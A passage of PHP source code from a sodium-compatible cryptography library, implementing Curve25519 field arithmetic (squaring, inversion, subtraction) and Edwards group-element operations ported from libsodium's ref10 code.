$f3f7_76 = self::mul($f7_38, $f3_2, 26); $f3f8_38 = self::mul($f8_19, $f3_2, 26); $f3f9_76 = self::mul($f9_38, $f3_2, 26); $f4f4 = self::mul($f4, $f4, 26); $f4f5_2 = self::mul($f4_2, $f5, 26); $f4f6_38 = self::mul($f6_19, $f4_2, 27); $f4f7_38 = self::mul($f7_38, $f4, 26); $f4f8_38 = self::mul($f8_19, $f4_2, 27); $f4f9_38 = self::mul($f9_38, $f4, 26); $f5f5_38 = self::mul($f5_38, $f5, 26); $f5f6_38 = self::mul($f6_19, $f5_2, 26); $f5f7_76 = self::mul($f7_38, $f5_2, 26); $f5f8_38 = self::mul($f8_19, $f5_2, 26); $f5f9_76 = self::mul($f9_38, $f5_2, 26); $f6f6_19 = self::mul($f6_19, $f6, 26); $f6f7_38 = self::mul($f7_38, $f6, 26); $f6f8_38 = self::mul($f8_19, $f6_2, 27); $f6f9_38 = self::mul($f9_38, $f6, 26); $f7f7_38 = self::mul($f7_38, $f7, 26); $f7f8_38 = self::mul($f8_19, $f7_2, 26); $f7f9_76 = self::mul($f9_38, $f7_2, 26); $f8f8_19 = self::mul($f8_19, $f8, 26); $f8f9_38 = self::mul($f9_38, $f8, 26); $f9f9_38 = self::mul($f9_38, $f9, 26); $h0 = $f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38; $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38; $h2 = $f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19; $h3 = $f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38; $h4 = $f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38; $h5 = $f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38; $h6 = $f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19; $h7 = $f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38; $h8 = $f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38; $h9 = $f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */ $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */ $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */ $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */ $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */ $f0f0 = self::mul($f0, $f0, 24); $f0f1_2 = self::mul($f0_2, $f1, 24); $f0f2_2 = self::mul($f0_2, $f2, 24); $f0f3_2 = self::mul($f0_2, $f3, 24); $f0f4_2 = self::mul($f0_2, $f4, 24); $f0f5_2 = self::mul($f0_2, $f5, 24); $f0f6_2 = self::mul($f0_2, $f6, 24); $f0f7_2 = self::mul($f0_2, $f7, 24); $f0f8_2 = self::mul($f0_2, $f8, 24); $f0f9_2 = self::mul($f0_2, $f9, 24); $f1f1_2 = self::mul($f1_2, $f1, 24); $f1f2_2 = self::mul($f1_2, $f2, 24); $f1f3_4 = self::mul($f1_2, $f3_2, 24); $f1f4_2 = self::mul($f1_2, $f4, 24); $f1f5_4 = self::mul($f1_2, $f5_2, 24); $f1f6_2 = self::mul($f1_2, $f6, 24); $f1f7_4 = self::mul($f1_2, $f7_2, 24); $f1f8_2 = self::mul($f1_2, $f8, 24); $f1f9_76 = self::mul($f9_38, $f1_2, 24); $f2f2 = self::mul($f2, $f2, 24); $f2f3_2 = self::mul($f2_2, $f3, 24); $f2f4_2 = self::mul($f2_2, $f4, 24); $f2f5_2 = self::mul($f2_2, $f5, 24); $f2f6_2 = self::mul($f2_2, $f6, 24); $f2f7_2 = self::mul($f2_2, $f7, 24); $f2f8_38 = self::mul($f8_19, $f2_2, 25); $f2f9_38 = self::mul($f9_38, $f2, 24); $f3f3_2 = self::mul($f3_2, $f3, 24); $f3f4_2 = self::mul($f3_2, $f4, 24); $f3f5_4 = self::mul($f3_2, $f5_2, 24); $f3f6_2 = self::mul($f3_2, $f6, 24); $f3f7_76 = self::mul($f7_38, $f3_2, 24); $f3f8_38 = self::mul($f8_19, $f3_2, 24); $f3f9_76 = self::mul($f9_38, $f3_2, 24); $f4f4 = self::mul($f4, $f4, 24); $f4f5_2 = self::mul($f4_2, $f5, 24); $f4f6_38 = self::mul($f6_19, $f4_2, 25); $f4f7_38 = self::mul($f7_38, $f4, 24); $f4f8_38 = self::mul($f8_19, $f4_2, 25); $f4f9_38 = self::mul($f9_38, $f4, 24); $f5f5_38 = self::mul($f5_38, $f5, 24); $f5f6_38 = self::mul($f6_19, $f5_2, 24); $f5f7_76 = self::mul($f7_38, $f5_2, 24); $f5f8_38 = self::mul($f8_19, $f5_2, 24); $f5f9_76 = self::mul($f9_38, $f5_2, 24); $f6f6_19 = self::mul($f6_19, $f6, 24); $f6f7_38 = self::mul($f7_38, $f6, 24); $f6f8_38 = self::mul($f8_19, $f6_2, 25); $f6f9_38 = self::mul($f9_38, $f6, 24); $f7f7_38 = self::mul($f7_38, $f7, 24); $f7f8_38 = self::mul($f8_19, $f7_2, 24); $f7f9_76 = self::mul($f9_38, $f7_2, 24); $f8f8_19 = self::mul($f8_19, $f8, 24); $f8f9_38 = self::mul($f9_38, $f8, 24); $f9f9_38 = self::mul($f9_38, $f9, 24); $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1; $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1; $h2 = (int) ($f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1; $h3 = (int) ($f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1; $h4 = (int) ($f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1; $h5 = (int) ($f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38) << 1; $h6 = (int) ($f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19) << 1; $h7 = (int) ($f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38) << 1; $h8 = (int) ($f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38) << 1; $h9 = (int) ($f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2) << 1; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core_Curve25519_Fe $z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z) { $z = self::fe_normalize($z); # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedOperand */ public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g) { return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) ($f[0] - $g[0]), (int) ($f[1] - $g[1]), (int) ($f[2] - $g[2]), (int) ($f[3] - $g[3]), (int) ($f[4] - $g[4]), (int) ($f[5] - $g[5]), (int) ($f[6] - $g[6]), (int) ($f[7] - $g[7]), (int) ($f[8] - $g[8]), (int) ($f[9] - $g[9]) ) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_add( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); /** @var int $i */ for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) ( 1 & ( self::chrToInt($a[(int) ($i >> 3)]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); } # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_madd( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_msub( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2); } /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_copy($p->X), self::fe_copy($p->Y), self::fe_copy($p->Z) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int */ public static function equal($b, $c) { return (int) ((($b ^ $c) - 1) >> 31) & 1; } /** * @internal You should not use this directly from another application * * @param int|string $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return ($char >> 63) & 1; } $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 63); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function cmov( ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_cmov_cached( ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u, $b ) { $b &= 1; $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $ret->YplusX = self::fe_cmov($t->YplusX, $u->YplusX, $b); $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b); $ret->Z = self::fe_cmov($t->Z, $u->Z, $b); $ret->T2d = self::fe_cmov($t->T2d, $u->T2d, $b); return $ret; } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached * @throws SodiumException */ public static function ge_cmov8_cached(array $cached, $b) { // const unsigned char bnegative = negative(b); // const unsigned char babs = b - (((-bnegative) & b) * ((signed char) 1 << 1)); $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); // ge25519_cached_0(t); $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_1(), self::fe_1(), self::fe_1(), self::fe_0() ); // 